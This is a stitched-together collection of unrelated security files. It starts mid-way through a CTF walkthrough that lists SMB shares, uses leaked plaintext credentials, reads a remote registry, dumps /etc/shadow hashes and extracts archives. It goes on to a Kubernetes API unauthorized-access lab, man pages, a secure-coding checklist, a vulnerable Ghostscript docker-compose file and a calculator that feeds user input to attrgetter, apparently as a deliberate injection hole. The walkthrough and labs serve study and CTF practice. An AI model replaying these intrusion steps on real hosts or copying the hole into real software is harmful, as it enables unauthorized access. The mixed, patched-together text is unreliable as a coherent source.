dr--r--r-- 0 Wed Feb 5 17:29:40 2020 Downloads
dr--r--r-- 0 Wed Jan 15 14:58:36 2020 Favorites
dr--r--r-- 0 Wed Jan 15 14:58:36 2020 Links
dr--r--r-- 0 Tue Jan 14 11:31:43 2020 Local Settings
dr--r--r-- 0 Fri Feb 7 18:25:33 2020 MicrosoftEdgeBackups
dr--r--r-- 0 Wed Jan 15 14:58:36 2020 Music
dr--r--r-- 0 Tue Jan 14 11:31:43 2020 My Documents
dr--r--r-- 0 Tue Jan 14 11:31:43 2020 NetHood
fr--r--r-- 1310720 Thu Feb 6 23:35:39 2020 NTUSER.DAT
fr--r--r-- 327680 Fri Feb 7 20:58:37 2020 ntuser.dat.LOG1
fr--r--r-- 342016 Tue Jan 14 11:31:43 2020 ntuser.dat.LOG2
fr--r--r-- 65536 Fri Feb 7 21:01:10 2020 NTUSER.DAT{e2cb19a2-1713-11ea-956e-c0bcf8f5979b}.TM.blf
fr--r--r-- 524288 Fri Feb 7 18:16:13 2020 NTUSER.DAT{e2cb19a2-1713-11ea-956e-c0bcf8f5979b}.TMContainer00000000000000000001.regtrans-ms
fr--r--r-- 524288 Fri Feb 7 21:00:40 2020 NTUSER.DAT{e2cb19a2-1713-11ea-956e-c0bcf8f5979b}.TMContainer00000000000000000002.regtrans-ms
fr--r--r-- 20 Sat Feb 8 02:17:41 2020 ntuser.ini
dw--w--w-- 0 Sat Feb 8 17:40:06 2020 OneDrive
dr--r--r-- 0 Wed Jan 15 14:58:36 2020 Pictures
dr--r--r-- 0 Tue Jan 14 11:31:43 2020 PrintHood
dr--r--r-- 0 Sat Feb 8 16:44:20 2020 Recent
dr--r--r-- 0 Wed Jan 15 14:58:36 2020 Saved Games
dr--r--r-- 0 Sat Feb 8 21:00:09 2020 Searches
dr--r--r-- 0 Tue Jan 14 11:31:43 2020 SendTo
dr--r--r-- 0 Tue Jan 14 11:31:43 2020 Start Menu
dr--r--r-- 0 Tue Jan 14 11:31:43 2020 Templates
dr--r--r-- 0 Wed Jan 15 14:58:36 2020 Videos
user07 READ ONLY
```
So this user has read-only access to `IPC$` and `user07`. Let's start by accessing the disk:
```console
root@kali:/media/sf_CTFs/hoshen/1# smbclient //13.89.33.39/user07 -U user07%ClngP@ss -m SMB2 -t 120
Try "help" to get a list of possible commands.
smb: \> cd Downloads
smb: \Downloads\> dir
. D 0 Wed Feb 5 17:29:40 2020
.. D 0 Wed Feb 5 17:29:40 2020
Challenge2.pcap.rar A 82637414 Wed Jan 29 17:03:49 2020
classified_document.txt A 44 Wed Jan 29 17:11:21 2020
desktop.ini AHS 282 Tue Jan 14 11:31:50 2020
33147387 blocks of size 4096. 27683659 blocks available
smb: \Downloads\> get classified_document.txt
getting file \Downloads\classified_document.txt of size 44 as classified_document.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \Downloads\> get Challenge2.pcap.rar
parallel_read returned NT_STATUS_IO_TIMEOUT
smb: \Downloads\> getting file \Downloads\Challenge2.pcap.rar of size 82637414 as Challenge2.pcap.rar SMBecho failed (NT_STATUS_CONNECTION_RESET). The connection is disconnected now
```
We were able to download `classified_document.txt` but the server connection was problematic and reading the 80MB rar file kept failing. Let's use `smbget` instead, since it supports resuming:
```console
root@kali:/media/sf_CTFs/hoshen/1# smbget -U user07 -D smb://13.89.33.39/user07/Downloads/Challenge2.pcap.rar
Password for [user07] connecting to //user07/13.89.33.39:
Using workgroup WORKGROUP, user user07
................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Can't read 64000 bytes at offset 35840000, file smb://13.89.33.39/user07/Downloads/Challenge2.pcap.rar
root@kali:/media/sf_CTFs/hoshen/1# smbget -U user07 -D -r smb://13.89.33.39/user07/Downloads/Challenge2.pcap.rar
Password for [user07] connecting to //user07/13.89.33.39:
Using workgroup WORKGROUP, user user07
............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
smb://13.89.33.39/user07/Downloads/Challenge2.pcap.rar downloaded
Downloaded 44.63MB in 254 seconds
```
Now we have two files. The first one is a base64-encoded binary file:
```console
root@kali:/media/sf_CTFs/hoshen/1# cat classified_document.txt
W2xAjCIruqj4DEsNDIGlztmL7AcXHSySQA3EBGS1zNw=
root@kali:/media/sf_CTFs/hoshen/1# cat classified_document.txt | base64 -d | xxd -g 1
00000000: 5b 6c 40 8c 22 2b ba a8 f8 0c 4b 0d 0c 81 a5 ce [l@."+....K.....
00000010: d9 8b ec 07 17 1d 2c 92 40 0d c4 04 64 b5 cc dc ......,.@...d...
```
The second is a password-protected RAR archive:
```console
root@kali:/media/sf_CTFs/hoshen/1# unrar l Challenge2.pcap.rar
UNRAR 5.50 freeware Copyright (c) 1993-2017 Alexander Roshal
Archive: Challenge2.pcap.rar
Details: RAR 5
Attributes Size Date Time Name
----------- --------- ---------- ----- ----
* ..A.... 152151936 2020-01-30 02:22 Challenge2.pcapng
----------- --------- ---------- ----- ----
152151936 1
root@kali:/media/sf_CTFs/hoshen/1# unrar t Challenge2.pcap.rar
UNRAR 5.50 freeware Copyright (c) 1993-2017 Alexander Roshal
Testing archive Challenge2.pcap.rar
Enter password (will not be echoed) for Challenge2.pcapng:
```
Back to the `smbmap` output. Notice this line:
```
fr--r--r-- 4 Mon Jan 1 02:20:54 1601 winreg
IPC$ READ ONLY Remote IPC
```
It means that the user can remotely access the registry. For example, using Python:
```python
Python 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 21:26:53) [MSC v.1916 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from winreg import *
>>> root = ConnectRegistry(r"\\13.89.33.39", HKEY_USERS)
>>> key = OpenKeyEx(root, r"S-1-5-18\Software\Microsoft\CTF\HiddenKey")
>>> EnumValue(key, 0)
('DecryptionKey', 'SzBsSGFLM2Y=', 1)
```
Or, using `regedit.exe` -> `File` -> `Connect Network Registry` -> `13.89.33.39`:

## Samba: 104.43.243.221
Let's move on to the next IP we found in the logs: `104.43.243.221`.
```console
root@kali:/media/sf_CTFs/hoshen/1# smbmap -H 104.43.243.221
[+] Finding open SMB ports....
[+] Guest SMB session established on 104.43.243.221...
[+] IP: 104.43.243.221:445 Name: 104.43.243.221
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
share NO ACCESS Samba on Ubuntu
sharenopass NO ACCESS
.
dr--r--r-- 0 Sun Jan 19 11:12:30 2020 .
dr--r--r-- 0 Mon Jan 20 19:50:22 2020 ..
fr--r--r-- 38 Sun Jan 19 11:12:30 2020 credenitals.txt
Creds READ ONLY
IPC$ NO ACCESS IPC Service (HoshenCtf2 server (Samba, Ubuntu))
```
Looks like there's an open share here which doesn't require a password:
```console
root@kali:/media/sf_CTFs/hoshen/1# smbclient //104.43.243.221/Creds
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Jan 19 11:12:30 2020
.. D 0 Mon Jan 20 19:50:22 2020
credenitals.txt N 38 Sun Jan 19 11:12:30 2020
30309264 blocks of size 1024. 26883336 blocks available
smb: \> get credenitals.txt
getting file \credenitals.txt of size 38 as credenitals.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
```
We got another pair of credentials:
```console
root@kali:/media/sf_CTFs/hoshen/1# cat credenitals.txt
username: cuser
password: Sec0ndPh@se
```
## SSH: 104.43.243.221
Using the credentials we just found, let's SSH into the machine:
```console
root@kali:/media/sf_CTFs/hoshen/1# sshpass -p Sec0ndPh@se ssh cuser@104.43.243.221
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 5.0.0-1027-azure x86_64)
Last login: Sat Feb 8 22:20:49 2020 from 84.108.30.242
cuser@HoshenCtf2:~$
```
We find here another (encrypted) RAR archive:
```console
cuser@HoshenCtf2:~$ find / -type f -name "*.rar" 2>/dev/null
/var/local/decrypt.rar.rar
cuser@HoshenCtf2:~$ cd /var/local/
cuser@HoshenCtf2:/var/local$ ls -al
total 16
drwxrwsr-x 3 root staff 4096 Jan 20 17:50 .
drwxr-xr-x 13 root root 4096 Dec 18 19:14 ..
drwxr-sr-x 2 root staff 4096 Jan 19 09:12 Creds
-rwxr-xr-x 1 root root 947 Jan 20 15:43 decrypt.rar.rar
cuser@HoshenCtf2:/var/local$ cd Creds/
cuser@HoshenCtf2:/var/local/Creds$ ls
credenitals.txt
cuser@HoshenCtf2:/var/local/Creds$ cat credenitals.txt
username: cuser
password: Sec0ndPh@se
```
We need to find the password somewhere in the system. It's time to perform system enumeration. A script such as [LinEnum](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) can help us.
After running the script, the first result that should stand out is the fact that we can read `/etc/shadow`:
```
[+] We can read the shadow file!
root:$6$eTbDRaoQ$f1aycF/9chbCHeIwkwR20QbaVvjxyhFZQr9kNDUb.EB85SbSr8l07nXzq0R7BmjSY.xsPRSQVFt.BaDmI9eFH/:18298:0:99999:7:::
daemon:*:18248:0:99999:7:::
bin:*:18248:0:99999:7:::
sys:*:18248:0:99999:7:::
sync:*:18248:0:99999:7:::
games:*:18248:0:99999:7:::
man:*:18248:0:99999:7:::
lp:*:18248:0:99999:7:::
mail:*:18248:0:99999:7:::
news:*:18248:0:99999:7:::
uucp:*:18248:0:99999:7:::
proxy:*:18248:0:99999:7:::
www-data:*:18248:0:99999:7:::
backup:*:18248:0:99999:7:::
list:*:18248:0:99999:7:::
irc:*:18248:0:99999:7:::
gnats:*:18248:0:99999:7:::
nobody:*:18248:0:99999:7:::
systemd-network:*:18248:0:99999:7:::
systemd-resolve:*:18248:0:99999:7:::
syslog:*:18248:0:99999:7:::
messagebus:*:18248:0:99999:7:::
_apt:*:18248:0:99999:7:::
lxd:*:18248:0:99999:7:::
uuidd:*:18248:0:99999:7:::
dnsmasq:*:18248:0:99999:7:::
landscape:*:18248:0:99999:7:::
sshd:*:18248:0:99999:7:::
pollinate:*:18248:0:99999:7:::
hoshenCtf:$6$sg124Ebw$EKdW5ZRvnCc2bFLDhw5UkOVNzfsEkzHwN2nJuZLHNRUSeazTlK7tUaphC7aVCfaGjml2lv4vFX6wThwiyLowt0:18298:0:99999:7:::
sambauser:$6$f11iy2W/$webTCIycnufq9zGSieShko/XWDGMNXYUjqupyIItkd99fIGOzfFhx48qh.OPVTr.8HjO3N5iBNMAqHg67Uxi20:18276:0:99999:7:::
MrPink:$6$w/C7AYid$W9ioXMiz3PoB4BL8Xv3rX085Og0aM1YfOrl2gg8yfNrAsGSF6bWdLP8RI//MNz72V95cueGxMzq4AjBts.1RL1:18276:0:99999:7:::
cuser:$6$hWYEC0gP$fyuO7h6Q/rqtN7NMZ/2uyLp30semAdr6w3/vkyYOO06QJ33eRVe3h8SpaG0YIGg2KyCFg6K0O/YX1F1.QS0v11:18298:0:99999:7:::
pass1:O@O@O@L3E:18280:0:99999:7::0:
```
In theory we can try using the passowrd hashes to recover the passwords. However, this might take a while, especially since the hash algorithm used is `sha512` (based on the `$6` prefix).
Notice how the "Encrypted Password" field for `pass1` doesn't comply with the [standard shadow format](https://linux.die.net/man/5/shadow). Instead, it contains `O@O@O@L3E` which is illegal for this field.
This starts to make sense when combined with the group membership output:
```
[-] Group memberships:
...
uid=1004(pass1) gid=1004(rot13) groups=1004(rot13)
```
The group is `rot13` which means that we need to perform:
```console
root@kali:/media/sf_CTFs/hoshen/1# python3 -c "import codecs; print(codecs.encode('O@O@O@L3E', 'rot_13'));"
B@B@B@Y3R
```
Let's use this password to extract the archive:
```console
root@kali:/media/sf_CTFs/hoshen/1# unrar x -pB@B@B@Y3R decrypt.rar.rar
UNRAR 5.50 freeware Copyright (c) 1993-2017 Alexander Roshal
Extracting from decrypt.rar.rar
Creating decrypt.rar OK
Extracting decrypt.rar/decrypt.rar OK
All OK
```
We receive another encrypted RAR file:
```console
root@kali:/media/sf_CTFs/hoshen/1/decrypt.rar# ls
decrypt.rar
```
It's password is hidden in another section of the enumeration report:
```
[-] Jobs held by all users:
0 0 1 1 * echo 'pass2: ShP1GGy'
```
This is the cron job (also accessible via `crontab -l`). Let's use it:
```console
root@kali:/media/sf_CTFs/hoshen/1/decrypt.rar# unrar x -pShP1GGy decrypt.rar
UNRAR 5.50 freeware Copyright (c) 1993-2017 Alexander Roshal
Extracting from decrypt.rar
Extracting decrypt.py OK
All OK
```
We got a decryption script:
```python
# Elian's decryptor python 2
#import
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
# constants
# AES 256 encryption/decryption using pycrypto library
BLOCK_SIZE = 16
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
def decrypt(enc, password):
private_key = hashlib.sha256(password.encode("utf-8")).digest()
enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(private_key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(enc[16:]))
# Let us decrypt using our original password
#decrypted = decrypt(encrypted, password)
#print(bytes.decode(decrypted))
def main():
password = raw_input("Enter encryption password: ")
path = raw_input("Enter the path to the file you want to decrypt: ")
# read file content
with open(path, 'rb') as filee:
content = filee.read()
decreypted = decrypt(content, password)
# write new to file
with open(path, 'wb') as filee:
filee.write(decreypted)
print("your file is decrypted")
if __name__ == "__main__":
main()
```
Let's use it to decrypt the classified document:
```console
root@kali:/media/sf_CTFs/hoshen/1/decrypt.rar# cp ../classified_document.txt .
root@kali:/media/sf_CTFs/hoshen/1/decrypt.rar# echo SzBsSGFLM2Y= | base64 -d
K0lHaK3f
root@kali:/media/sf_CTFs/hoshen/1/decrypt.rar# python decrypt.py
Enter encryption password: K0lHaK3f
Enter the path to the file you want to decrypt: classified_document.txt
your file is decrypted
root@kali:/media/sf_CTFs/hoshen/1/decrypt.rar# cat classified_document.txt
Th3Dr3aMt3aM
```
We can finally use this password to decrypt the PCAP file:
```console
root@kali:/media/sf_CTFs/hoshen/1# unrar x -pTh3Dr3aMt3aM Challenge2.pcap.rar
UNRAR 5.50 freeware Copyright (c) 1993-2017 Alexander Roshal
Extracting from Challenge2.pcap.rar
Extracting Challenge2.pcapng OK
All OK
```
Note: At some stage, the challenge owners updated the RAR file and added a README:
```
After opening challenge2.pcap.rar, please send to our mail the md5 of the pcap as a flag.
The pcap contains evidence of an attack in a private network we were hired to research.
You should find the outer IP address of the attacker by investigating malicious activity.
This challeng will require you to think out of the box, good luck.
```
|
sec-knowleage
|
# HITCON 2017 Quals
Team: nazywam, ppr, msm, c7f.m0d3, akrasuski1, rev, shalom
### Table of contents
* [Secret server (crypto)](secret_server)
* [Data & Mining (forensics)](data_mining)
|
sec-knowleage
|
# Kubernetes Api Server 未授权访问
## 漏洞描述
Kubernetes 的服务在正常启动后会开启两个端口:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端口都是提供 Api Server 服务的,一个可以直接通过 Web 访问,另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限,那么攻击者就可以通过这两个接口去获取容器的权限。
## 环境搭建
> ubuntu 18.04
下载
```
wget https://github.com/kubernetes/minikube/releases/download/v1.18.1/minikube-linux-amd64
mv minikube-linux-amd64 minikube
chmod 777 minikube
wget "https://storage.googleapis.com/kubernetes-release/release/v1.18.3/bin/linux/amd64/kubectl" -O "/usr/local/bin/kubectl"
chmod 755 /usr/local/bin/kubectl
```
启动K8S
```
sudo sysctl -w net/netfilter/nf_conntrack_max=131072
./minikube start --kubernetes-version=v1.18.3 --force --driver=docker --extra-config=apiserver.anonymous-auth=true
```
启动仪表盘
```
root@l-virtual-machine:/opt# ./minikube dashboard
* Enabling dashboard ...
- Using image kubernetesui/dashboard:v2.1.0
- Using image kubernetesui/metrics-scraper:v1.0.4
* Verifying dashboard health ...
* Launching proxy ...
* Verifying proxy health ...
http://127.0.0.1:35293/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
```
把K8S API映射出去
```
root@l-virtual-machine:/opt# kubectl proxy --port=8088 --address='0.0.0.0' --accept-hosts='^.*'
Starting to serve on [::]:8088
```

## 漏洞检测
仪表盘
```
http://192.168.32.141:8088/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/#/overview?namespace=default
```

## 漏洞修复
* 进行授权认证;
* 使用Service Account令牌;
* 设置防火墙策略,限定IP访问服务;
|
sec-knowleage
|
nl
===
为每一个文件添加行号。
## 概要
```shell
nl [OPTION]... [FILE]...
```
## 主要用途
- 将每一个输入的文件添加行号后发送到标准输出。
- 当没有文件或文件为`-`时,读取标准输入
- 处理逻辑页(logical page)。
## 选项
```shell
-b, --body-numbering=STYLE 使用STYLE 为body部分的行附加行号。
-d, --section-delimiter=CC 使用CC作为logical page的分隔符。
-f, --footer-numbering=STYLE 使用STYLE 为footer部分的行附加行号。
-h, --header-numbering=STYLE 使用STYLE 为header部分的行附加行号。
-i, --line-increment=NUMBER 行号递增间隔为NUMBER。
-l, --join-blank-lines=NUMBER 连续NUMBER行的空行作为一行处理。
-n, --number-format=FORMAT 根据FORMAT插入行号。
-p, --no-renumber 不要在每个部分重置行号。
-s, --number-separator=STRING 在行号后添加字符串STRING。
-v, --starting-line-number=NUMBER 每部分的起始行号。
-w, --number-width=NUMBER 行号宽度为NUMBER。
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
默认选项为:-bt -d'\:' -fn -hn -i1 -l1 -nrn -sTAB -v1 -w6
CC是由两个字符组成的,默认为\: ,第二个字符如果缺失则默认为:
STYLE可以为下列可用值之一:
a 所有行标记行号。
t 仅为非空行标记行号。
n 不标记行号。
pBRE 符合基础正则表达式(BRE)的行会标记行号。
FORMAT可以为下列可用值之一:
ln 左对齐,不会在开始部分补充0以满足宽度。
rn 右对齐,不会在开始部分补充0以满足宽度。
rz 右对齐,会在开始部分补充0以满足宽度。
logical page
三部分组成(header, body, footer)
起始标记(header \:\:\:, body \:\:, footer \:)
```
## 参数
FILE(可选):要处理的文件,可以为一或多个。
## 返回值
返回0表示成功,返回非0值表示失败。
## 例子
```shell
nl_logicalpage.txt:该文件用于说明nl命令处理逻辑页,内容如下:
\:\:\:
header_1
\:\:
body_1
\:
footer_1
\:\:\:
header_2
\:\:
body_2
\:
footer_2
```
```shell
[user2@pc ~]$ nl nl_logicalpage.txt
header_1
1 body_1
footer_1
header_2
1 body_2
footer_2
[user2@pc ~]$ nl -v0 -fa -ha nl_logicalpage.txt
0 header_1
1 body_1
2 footer_1
0 header_2
1 body_2
2 footer_2
[user2@pc ~]$ nl -p -fa -ha nl_logicalpage.txt
1 header_1
2 body_1
3 footer_1
4 header_2
5 body_2
6 footer_2
```
```shell
nl_normal.txt:该文件用于说明nl命令处理普通文件,内容如下:
ZhuangZhu-74
2019-11-21
127.0.0.1
```
```shell
[user2@pc ~]$ nl nl_normal.txt
1 ZhuangZhu-74
2 2019-11-21
3 127.0.0.1
[user2@pc ~]$ nl -b p'1$' nl_normal.txt
ZhuangZhu-74
1 2019-11-21
2 127.0.0.1
[user2@pc ~]$ nl -b p'^[A-Z]' nl_normal.txt
1 ZhuangZhu-74
2019-11-21
127.0.0.1
```
### 注意
1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 nl`,`info coreutils 'nl invocation'`。
|
sec-knowleage
|
### Reference
[实用性开发人员安全须知](https://github.com/FallibleInc/security-guide-for-developers/blob/master/security-checklist-zh.md)
##### 权限系统 (注册/注册/二次验证/密码重置)
- [ ] 任何地方都使用 HTTPS.
- [ ] 使用 `Bcrypt` 存储密码哈希 (没有使用盐的必要 - `Bcrypt` 干的就是这个事).
- [ ] `登出`之后销毁会话 ID .
- [ ] 密码重置后销毁所有活跃的会话.
- [ ] OAuth2 验证必须包含 `state` 参数.
- [ ] 登陆成功之后不能直接重定向到开放的路径(需要校验,否则容易存在钓鱼攻击).
- [ ] 当解析用户注册/登陆的输入时,过滤 javascript://、 data:// 以及其他 CRLF 字符.
- [ ] 使用 secure/httpOnly cookies.
- [ ] 移动端使用 `OTP` 验证时,当调用 `generate OTP` 或者 `Resend OTP` API 时不能把 OTP(One Time Password) 直接返回。(一般是通过发送手机验证短信,邮箱随机 code 等方式,而不是直接 response)
- [ ] 限制单个用户 `Login`、`Verify OTP`、 `Resend OTP`、`generate OTP` 等 API 的调用次数,使用 Captcha 等手段防止暴力破解.
- [ ] 检查邮件或短信里的重置密码的 token,确保随机性(无法猜测)
- [ ] 给重置密码的 token 设置过期时间.
- [ ] 重置密码成功后,将重置使用的 token 失效.
##### 用户数据和权限校验
- [ ] 诸如`我的购物车`、`我的浏览历史`之类的资源访问,必须检查当前登录的用户是否有这些资源的访问权限.
- [ ] 避免资源 ID 被连续遍历访问,使用 `/me/orders` 代替 `/user/37153/orders` 以防你忘了检查权限,导致数据泄露。
- [ ] `修改邮箱/手机号码`功能必须首先确认用户已经验证过邮箱/手机是他自己的。
- [ ] 任何上传功能应该过滤用户上传的文件名,另外,为了普适性的原因(而不是安全问题),上传的东西应该存放到例如 S3 之类的云存储上面(用 lambda 处理),而不是存储在自己的服务器,防止代码执行。
- [ ] `个人头像上传` 功能应该过滤所有的 `EXIF` 标签,即便没有这个需求.
- [ ] 用户 ID 或者其他的 ID,应该使用 [RFC compliant ](http://www.ietf.org/rfc/rfc4122.txt) 的 `UUID` 而不是整数. 你可以从 github 找到你所用的语言的实现.
- [ ] [JWT(JSON Web Token)](https://jwt.io/)很棒.当你需要构建一个 单页应用/API 时使用.
##### 安卓和 iOS APP
- [ ] 支付网关的 `盐(salt)` 不应该被硬编码
- [ ] 来自第三方的 `secret` 和 `auth token` 不应该被硬编码
- [ ] 在服务器之间调用的 API 不应该在 app 里面调用
- [ ] 在安卓系统下,要小心评估所有申请的 [权限](https://developer.android.com/guide/topics/security/permissions.html)
- [ ] 在 iOS 系统下,使用系统的钥匙串来存储敏感信息(权限 token、api key、 等等) __不要__ 把这类信息存储在用户配置里面
- [ ] 强烈推荐[证书绑定(Certificate pinning)](https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning)
##### 安全头信息和配置
- [ ] `添加` [CSP](https://en.wikipedia.org/wiki/Content_Security_Policy) 头信息,减缓 XSS 和数据注入攻击. 这很重要.
- [ ] `添加` [CSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery) 头信息防止跨站请求伪造(CSRF)攻击.同时`添加` [SameSite](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00) 属性到 cookie 里面.
- [ ] `添加` [HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) 头信息防止 SSL stripping 攻击.
- [ ] `添加` 你的域名到 [HSTS 预加载列表](https://hstspreload.appspot.com/)
- [ ] `添加` [X-Frame-Options](https://en.wikipedia.org/wiki/Clickjacking#X-Frame-Options) 防止点击劫持.
- [ ] `添加` [X-XSS-Protection](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#X-XSS-Protection) 缓解 XSS 攻击.
- [ ] `更新` DNS 记录,增加 [SPF](https://en.wikipedia.org/wiki/Sender_Policy_Framework) 记录防止垃圾邮件和钓鱼攻击.
- [ ] 如果你的 Javascript 托管在第三方的 CDN 上面,需要`添加` [内部资源集成检查](https://en.wikipedia.org/wiki/Subresource_Integrity) 。为了更加安全,添加[require-sri-for](https://w3c.github.io/webappsec-subresource-integrity/#parse-require-sri-for) CSP-directive 就不会加载到没有 SRI 的资源
- [ ] 使用随机的 CSRF token,业务逻辑 API 可以暴露为 POST 请求。不要把 CSRF token 通过 http 接口暴露出来,比如第一次请求更新的时候
- [ ] 在 get 请求参数里面,不要使用临界数据和 token。 暴露服务器日志的同时也会暴露用户数据
##### 过滤输入
- [ ] 所有暴露给用户的参数输入都应该 `过滤` 防止 [XSS](https://en.wikipedia.org/wiki/Cross-site_scripting) 攻击.
- [ ] 使用参数化的查询防止 [SQL 注入](https://en.wikipedia.org/wiki/SQL_injection).
- [ ] 过滤所有具有功能性的用户输入,比如 `CSV导入`
- [ ] `过滤`一些特殊的用户输入,例如将 robots.txt 作为用户名,而你刚好提供了 coolcorp.io/username 之类的 url 来提供用户信息访问页面。(此时变成 coolcorp.io/robots.txt,可能无法正常工作)
- [ ] 不要自己手动拼装 JSON 字符串,不管这个对象有多么小。请使用你所用的语言相应的库或者框架来编写
- [ ] `过滤` 那些有点像 URL 的输入,防止 [SSRF](https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#heading=h.t4tsk5ixehdd) 攻击
- [ ] 在输出显示给用户之前,`过滤`输出信息
##### 操作
- [ ] 如果你的业务很小或者你缺乏经验,可以评估一下使用 AWS 或者一个 PaaS 平台来运行代码
- [ ] 在云上使用正规的脚本创建虚拟机
- [ ] 检查所有机器没有必要开放的`端口`
- [ ] 检查数据库是否没有设置密码或者使用默认密码,特别是 MongoDB 和 Redis
- [ ] 使用 SSH 登录你的机器,不要使用密码,而是通过 SSH key 验证来登录
- [ ] 及时更新系统,防止出现 0day 漏洞,比如 Heartbleed、Shellshock 等
- [ ] 修改服务器配置,HTTPS 使用 TLS1.2,禁用其他的模式。(值得这么做)
- [ ] 不要在线上开启 DEBUG 模式,有些框架,DEBUG 模式会开启很多权限以及后门,或者是暴露一些敏感数据到错误栈信息里面
- [ ] 对坏人和 DDOS 攻击要有所准备,使用那些提供 DDOS 清洗的主机服务
- [ ] 监控你的系统,同时记录到日志里面 (例如使用 [New Relic](https://newrelic.com/) 或者其他 ).
- [ ] 如果是 2B 的业务,坚持顺从需求。如果使用 AWS S3,可以考虑使用 [数据加密](http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingServerSideEncryption.html) 功能. 如果使用 AWS EC2,考虑使用磁盘加密功能(现在系统启动盘也能加密了)
##### 关于人
- [ ] 开一个邮件组(例如:security@coolcorp.io)和搜集页面,方便安全研究人员提交漏洞
- [ ] 取决于你的业务,限制用户数据库的访问
- [ ] 对报告 bug、漏洞的人有礼貌
- [ ] 把你的代码给那些有安全编码观念的同伴进行 review (More eyes)
- [ ] 被黑或者数据泄露时,检查数据访问前的日志,通知用户更改密码。你可能需要外部的机构来帮助审计
- [ ] 使用 [Netflix Scumblr](https://github.com/Netflix/Scumblr) 及时了解你的组织(公司)在社交网络或者搜索引擎上的一些讨论信息,比如黑客攻击、漏洞等等
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "LISTEN" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
LISTEN \- 监听一个通知
.SH SYNOPSIS
.sp
.nf
LISTEN \fIname\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBLISTEN\fR 将当前会话注册为通知条件 name
.PP
当执行了命令 NOTIFY name 后,不管是此会话还是其他联接到同一数据库的会话执行的, 所有正在监听此通知条件的会话都将收到通知, 并且接下来每个会话将通知与其相连的前端应用.请参考 NOTIFY 获取更多信息.
.PP
使用 UNLISTEN 命令,可以将一个会话内已注册的通知条件删除. 同样,会话退出时自动删除该会话正在监听的已注册通知条件.
.PP
前端应用检测通知事件的方法取决于 PostgreSQL 应用使用的编程接口. 如果使用基本的libpq库, 应用将 LISTEN 当作普通 SQL 命令使用,而且必须周期地调用 PQnotifies 过程来检测是否有通知到达. 其他像libpgtcl接口提供了更高级的控制通知事件的方法;实际上, 使用libpgtcl,应用程序员不应该直接使用 LISTEN 或 UNLISTEN. 请参考你使用的接口的文档获取更多细节.
.PP
NOTIFY [\fBnotify\fR(7)]
的手册页包含更广泛的关于 LISTEN 和 NOTIFY 的使用的讨论.
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
通知条件名 (任何标识符)。
.SH "EXAMPLES 例子"
.PP
在 \fBpsql\fR 里配制和执行一个监听/通知序列:
.sp
.nf
LISTEN virtual;
NOTIFY virtual;
Asynchronous notification "virtual" received from server process with PID 8448.
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
在 SQL 标准里没有 LISTEN
.SH "SEE ALSO 参见"
NOTIFY [\fBnotify\fR(7)], UNLISTEN [\fBunlisten\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/ghostscript:9.23-with-flask
command: python app.py
volumes:
- ./app.py:/usr/src/app.py
ports:
- "8000:8000"
|
sec-knowleage
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import operator
import sys
class Calculator(object):
"""
+-------------------------------------------------------------------------+
| This is a calculator that takes expressions in reverse polish notation. |
| |
| In reverse polish notation the operands precede the operators. Unlike |
| conventional infix notation every statement is unambiguous so no |
| parenthesis are required. |
| |
| Here are some examples of how to use it: |
| 1 1 add -> (1 + 1) |
| 1 1 add 5 multiply -> (1 + 1) * 5 |
| |
| Here are the operators available to you. |
| add - addition |
| subtract - subtraction |
| multiply - multiplication |
| divide - standard division |
| idivide - integer division |
| power - exponentiation |
| xor - standard exclusive-or function |
| wumbo - standard wumbo function |
| |
| the quick brown fox jumps over the lazy dog |
| THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG |
| 1234567890~!@#$%^&*()_+-=[]{}\|:;"'?/>.<, ¯\_(ツ)_/¯ |
+_________________________________________________________________________+
"""
multiply = operator.mul
divide = operator.div
idivide = operator.truediv
add = operator.add
subtract = operator.sub
xor = operator.xor
power = operator.pow
wumbo = lambda _, x, y: int((str(x) + str(y)) * x)
def evaluate(self, expr, debug=False):
expr = expr.split()
stack = []
for token in expr:
try:
# If the token is a number, push it onto the stack.
stack.append(int(token))
except ValueError:
# This is an operator call the appropriate function
y = stack.pop()
x = stack.pop()
stack.append(operator.attrgetter(token)(self)(x, y))
return stack[0]
if __name__ == '__main__':
c = Calculator()
sys.stdout.write(c.__doc__ + '\nEnter your expression: \n')
sys.stdout.flush()
line = raw_input()
